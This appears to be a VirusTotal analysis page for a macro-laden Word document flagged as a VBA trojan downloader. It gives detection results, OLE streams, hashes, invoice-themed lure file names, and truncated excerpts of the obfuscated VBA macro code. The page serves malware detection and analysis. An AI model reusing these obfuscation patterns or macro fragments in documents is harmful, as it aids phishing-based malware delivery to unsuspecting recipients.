Antivirus scan for a7b209694eda491f62f71dbd90db584450de44bff2df46cf0fad6a4d1bb9e105 at 2018-03-20 13:25:08 UTC

Antivirus	Result	Update
Arcabit	HEUR.VBA.Trojan.e	20180320
Baidu	VBA.Trojan-Downloader.Agent.cpw	20180320
Fortinet	VBA/Agent.HHV!tr	20180320
Ikarus	Trojan-Downloader.VBA.Agent	20180320
Rising	Macro.Run.d (CLASSIC)	20180320
Zoner	Probably W97Obfuscated	20180320
Ad-Aware		20180320
AegisLab		20180320
AhnLab-V3		20180320
Alibaba		20180320
ALYac		20180320
Antiy-AVL		20180320
Avast		20180320
Avast-Mobile		20180320
AVG		20180320
Avira (no cloud)		20180320
AVware		20180320
BitDefender		20180320
Bkav		20180320
CAT-QuickHeal		20180320
ClamAV		20180320
CMC		20180320
Comodo		20180320
CrowdStrike Falcon (ML)		20170201
Cybereason		None
Cylance		20180320
Cyren		20180320
DrWeb		20180320
eGambit		20180320
Emsisoft		20180320
Endgame		20180316
ESET-NOD32		20180320
F-Prot		20180320
F-Secure		20180320
GData		20180320
Sophos ML		20180121
Jiangmin		20180320
K7AntiVirus		20180320
K7GW		20180320
Kaspersky		20180320
Kingsoft		20180320
Malwarebytes		20180320
MAX		20180320
McAfee		20180320
McAfee-GW-Edition		20180320
Microsoft		20180320
eScan		20180320
NANO-Antivirus		20180320
nProtect		20180320
Palo Alto Networks (Known Signatures)		20180320
Panda		20180320
Qihoo-360		20180320
SentinelOne (Static ML)		20180225
Sophos AV		20180320
SUPERAntiSpyware		20180320
Symantec		20180320
Symantec Mobile Insight		20180311
Tencent		20180320
TheHacker		20180319
Trustlook		20180320
VBA32		20180320
VIPRE		20180320
ViRobot		20180320
WhiteArmor		20180223
Yandex		20180319
ZoneAlarm by Check Point		20180320

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

May create OLE objects.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-03-20 07:52:00

revision_number

author

Pozhala

page_count

last_saved

2018-03-20 07:52:00

template

Normal.dotm

application_name

Microsoft Office Word

character_count

code_page

Latin I

Document summary

line_count

characters_with_spaces

version

1048576

paragraph_count

code_page

Latin I

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/KWQiIbTJo

[+] Macros/VBA/RHnsIfisFj

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/bfQqqvqvpH

[+] Macros/VBA/dir

[+] Macros/VBA/jpqtYmnpXvIu

[+] Macros/VBA/nPiKoRTavU

[+] WordDocument

Macros and VBA code streams

[+] RHnsIfisFj.bas Macros/VBA/RHnsIfisFj 32028 bytes

obfuscated

Function nQcBmaiYzNpBmG()
On Error Resume Next
      Select Case VUzNjP
         Case 79066
            KEhMJ = ChrB(nnltd)
            KalFV = NfHzki
         Case 5425
            ErHWzu = Rnd(oApAo)
            upRioG = Cos(Rvjts)
      End Select
jUhUrXhccv = tTJCmJ("wZEAGAuu", 3 + 0, 2 + 0)
      Select Case BJNNUD
         Case 17711
            wwjOw = ChrB(mVawEj)
            TqpSwX = XJINiA
         Case 86284
            bnVzf = Rnd(vslQs)
            UvVmo = Cos(IiTYu)
      End Select
      Select Case smWIR
         Case 76981
            FJrIwz = ChrB(jAinh)
            FkXOr = sJnis
         Case 50763
            udjVL = Rnd(zsuKD)
            GjfIu = Cos(BCjKHP)
      End Select
OMtPJ = tTJCmJ("SDaDA4AAOAgDAlBgMAYGA1AgMAUGAxAwMAMGAmBQZAcDAmBgNAUGA1AANAADAzAwYAQGAmBQYAIGAzAgYAMDAjBwYAMDA1AwNAIDA2AwMAQGAiBAZAIDAwAwMAQDAmBQYAcDAyAgYAcDAnR5uIn54a@5uIn54a0", 7 + 0, 138 + 0)
      Select Case QPvSS
         Case 50123
            itElCi = ChrB(ZjOKa)
            FlWMB = kqYXkV
         Case 34177
            uwBac = Rnd(EZMcuF)
            icSSz = Cos(vCfsjR)
      End Select
      Select Case oaiAOV
         Case 51539
            zqpJG = ChrB(nHLEK)
            YCGtv = UAmvNF
         Case 44019
            cuRji = Rnd(qQiXQA)
            NqYkO = Cos(KNmUl)
      End Select
NCmrimoY = tTJCmJ("lW9QAQYAUDAxAwYAcDAxAAMAIDAzAQNAMDAlBgYAYDA1AwYAADA4AgYAUGAlBQZAkDA2AAZAEDA0AgMAEGAhBAMAkDA3AgNAYDAmBgMAcDAlBAOAMGAkBANAYGAxAgNAEGAzAwMAMGA0AAMAYDAmBgNAIGAmBQNAEDAwAgNAUHh0", 5 + 0, 164 + 0)
      Select Case jAajC
         Case 56587
            mtZspb = ChrB(ajIXj)
            vOHJOK = zMzpaj
         Case 60324
            jPjcth = Rnd(WnwiJ)
            faFOkI = Cos(VsRSr)
      End Select
      Select Case iFozi
         Case 58797
            IvJuw = ChrB(rivwi)
            dtFon = qlaHU
         Case 32819
            PJbhAU = Rnd(JmAfbf)
            hicPd = Cos(rlWZQ)
      End Select
QYuiGCha = tTJCmJ("IktBQOAEGAzAAZAIDAiBgZAgDAxAQYAYDAjBgZAMGAwAQOAcDAyAQZ [... continues ...]

[+] nPiKoRTavU.bas Macros/VBA/nPiKoRTavU 19390 bytes

obfuscated

Function bCuXUKvJhp()
On Error Resume Next
      Select Case itlfno
         Case 65586
            ZBQnM = ChrB(HcswMv)
            dbZowF = uphWPZ
         Case 9303
            MmnUk = Rnd(ZOANuJ)
            iZzSw = Cos(BRMrq)
      End Select
jUhUrXhccv = tTJCmJ("wZEA !%mnGdfhWuu", 3 + 0, 10 + 0)
      Select Case lQjUuX
         Case 76531
            zPFLrL = ChrB(DNZaCw)
            QPiERI = qAvwl
         Case 97103
            qtGpGP = Rnd(PUnam)
            wDnQol = Cos(AUmpG)
      End Select
      Select Case WKErSC
         Case 85482
            OvJiz = ChrB(EGUli)
            fQNGPu = ScXvX
         Case 96610
            VBXNTU = Rnd(itKJj)
            wzwAXf = Cos(GFwzc)
      End Select
OMtPJ = tTJCmJ("SDaMnR5uIn54a@5uIn54a0", 7 + 0, 1 + 0)
      Select Case fZYqA
         Case 73259
            KuDiHR = ChrB(oAXCz)
            AbVfXX = vjPEZl
         Case 91230
            jFCKXw = Rnd(BuNsFR)
            FiuAv = Cos(DEsTc)
      End Select
      Select Case ihXQU
         Case 15671
            dPIBm = ChrB(XJACaH)
            skGjc = tbnwbz
         Case 25756
            bmlncf = Rnd(BiiXvr)
            oZHbXq = Cos(wbnnt)
      End Select
NCmrimoY = tTJCmJ("lW9Q&&p=%PiZNaIcM% UHh0", 5 + 0, 15 + 0)
      Select Case YqShE
         Case 48195
            vWOPw = ChrB(nrBbLj)
            HnOpzZ = SdLzz
         Case 67037
            KKQzT = Rnd(dpSKr)
            vDWzzb = Cos(JHkcd)
      End Select
      Select Case OJVJtt
         Case 10367
            pmuVV = ChrB(JFEok)
            lHzCWi = sMHjH
         Case 62385
            APKCGp = Rnd(QJHiUj)
            otKOFn = Cos(HKTmK)
      End Select
QYuiGCha = tTJCmJ("Iktte5uIn54aFtFZ", 5 + 0, 3 + 0)
      Select Case MIiGm
         Case 79404
            IuvChu = ChrB(UzrXCC)
            ETzRCt = tErPvR
         Case 62831
            aBsfE = Rnd(tzHjKw)
            JTvjIw = Cos(olojv)
      End Select
      Select Case PwHfT
         Case 53282
            aAsKR = ChrB(NpzlOw)
             [... continues ...]

[+] bfQqqvqvpH.bas Macros/VBA/bfQqqvqvpH 5275 bytes

obfuscated

Function MnAuEVqAOJnw()
On Error Resume Next
      Select Case RtiGG
         Case 76814
            ziYXSw = ChrB(ttioc)
            LcziW = BsijOQ
         Case 65930
            jPqQuv = Rnd(IHtnjf)
            jOKjz = Cos(qovvjY)
      End Select
uhqfjNId = tTJCmJ("v7^C^%     & TCtQF11E", 5 + 0, 15 + 0)
      Select Case mUCJHk
         Case 31746
            iDNthw = ChrB(VEvmD)
            LQWfQl = sTujWJ
         Case 77924
            EjjzPp = Rnd(LwqSw)
            TqAwUC = Cos(Ejiqwa)
      End Select
      Select Case aVzvk
         Case 35004
            zpQuJ = ChrB(TzdsqK)
            LXjRA = zUoMro
         Case 51470
            VwRAw = Rnd(Ccwjv)
            OpVZG = Cos(LDwCoh)
      End Select
immKoR = tTJCmJ("t0           c/   RU8u2E", 7 + 0, 16 + 0)
      Select Case oUtIcY
         Case 11447
            iwAMsu = ChrB(BjbzVs)
            IwPGCc = ITKkE
         Case 15263
            IUTLp = Rnd(jrVNN)
            aBNbrL = Cos(GLvsV)
      End Select
      Select Case RSwHMz
         Case 47753
            sTwwv = ChrB(UakXdZ)
            joXGi = IIMbL
         Case 79262
            YKQUd = Rnd(NKMSoo)
            CpWjkQ = Cos(qldaBh)
      End Select
iAYbtq = tTJCmJ("kkj^m^o^C^%     %^cf5uIn54a4z", 5 + 0, 16 + 0)
      Select Case QEfrkJ
         Case 51854
            KJQtw = ChrB(zUVjR)
            ISmdqu = injqS
         Case 92548
            zFjaDf = Rnd(pfMSq)
            UtQIr = Cos(lizSBA)
      End Select
      Select Case HIjjtK
         Case 74339
            LEquoZ = ChrB(VzOwXG)
            fszUs = rXKZMA
         Case 85841
            bcJui = Rnd(biXKUu)
            kcmoJ = Cos(CdqmYR)
      End Select
JtPfiZbz = tTJCmJ("c87VIMvuZkduw jqBWtfuVqRzWf5uIn54a", 6 + 0, 19 + 0)
      Select Case totQin
         Case 63715
            uWFCpd = ChrB(zVmAzY)
            uXlCR = ilqkcp
         Case 69181
            oGbhNf = Rnd(FjmUGY)
            UzXTTl = Cos(VffVqK)
      End Select
      Select Case IYvdq
         Case 77101
         [... continues ...]

[+] KWQiIbTJo.bas Macros/VBA/KWQiIbTJo 1318 bytes

create-ole obfuscated run-file

ExifTool file metadata

SharedDoc

Author

Pozhala

HyperlinksChanged

System

Windows

LinksUpToDate

HeadingPairs

Title, 1

Identification

Word 8.0

Template

Normal.dotm

CharCountWithSpaces

CreateDate

2018:03:20 06:52:00

Word97

LanguageCode

English (US)

CompObjUserType

Microsoft Word 97-2003 Document

ModifyDate

2018:03:20 06:52:00

Characters

CodePage

Windows Latin 1 (Western European)

RevisionNumber

MIMEType

application/msword

Words

FileType

DOC

Lines

AppVersion

16.0

Security

None

Software

Microsoft Office Word

TotalEditTime

Pages

ScaleCrop

CompObjUserTypeLen

FileTypeExtension

doc

Paragraphs

LastPrinted

0000:00:00 00:00:00

DocFlags

Has picture, 1Table, ExtChar

File identification

MD5 37d75a7d7849e9fefaf7096d9aa0f730

SHA1 99ca6a91498e0cdcd6a3128de3b2426191f9d37f

SHA256 a7b209694eda491f62f71dbd90db584450de44bff2df46cf0fad6a4d1bb9e105

ssdeep

3072:jXhR2eSC+ONRBY33uM6wt2vWiEIgs/t5OX9cHK6:jXhULOXBYnuHpui++OX47

File size 205.5 KB ( 210432 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Pozhala, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Mar 19 06:52:00 2018, Last Saved Time/Date: Mon Mar 19 06:52:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-03-20 13:20:31 UTC ( 11 months ago )

Last submission 2018-05-08 00:05:39 UTC ( 9 months, 2 weeks ago )

File names

37d75a7d7849e9fefaf7096d9aa0f730.virobj
index.html
Open invoices.doc
ACH form.doc
Paid Invoice.doc
Invoice.doc
Service Invoice.doc
Paid Invoice & Credit Card Receipt.doc
Invoices attached.doc
Open Past Due Orders.doc
Invoice #2269636.doc
New order.doc
Inv 66934 - PO #1H789698.doc
Invoice for you.doc
726-00-525617-572 & 726-00-525617-058.doc
2018.doc
Invoice 4040430 March.doc
Important Please Read.doc
Invoice 8703897 March.doc

SHA256:	a7b209694eda491f62f71dbd90db584450de44bff2df46cf0fad6a4d1bb9e105
Detection ratio:	6 / 55
Analysis date:	2018-03-20 13:25:08 UTC ( 11 months ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in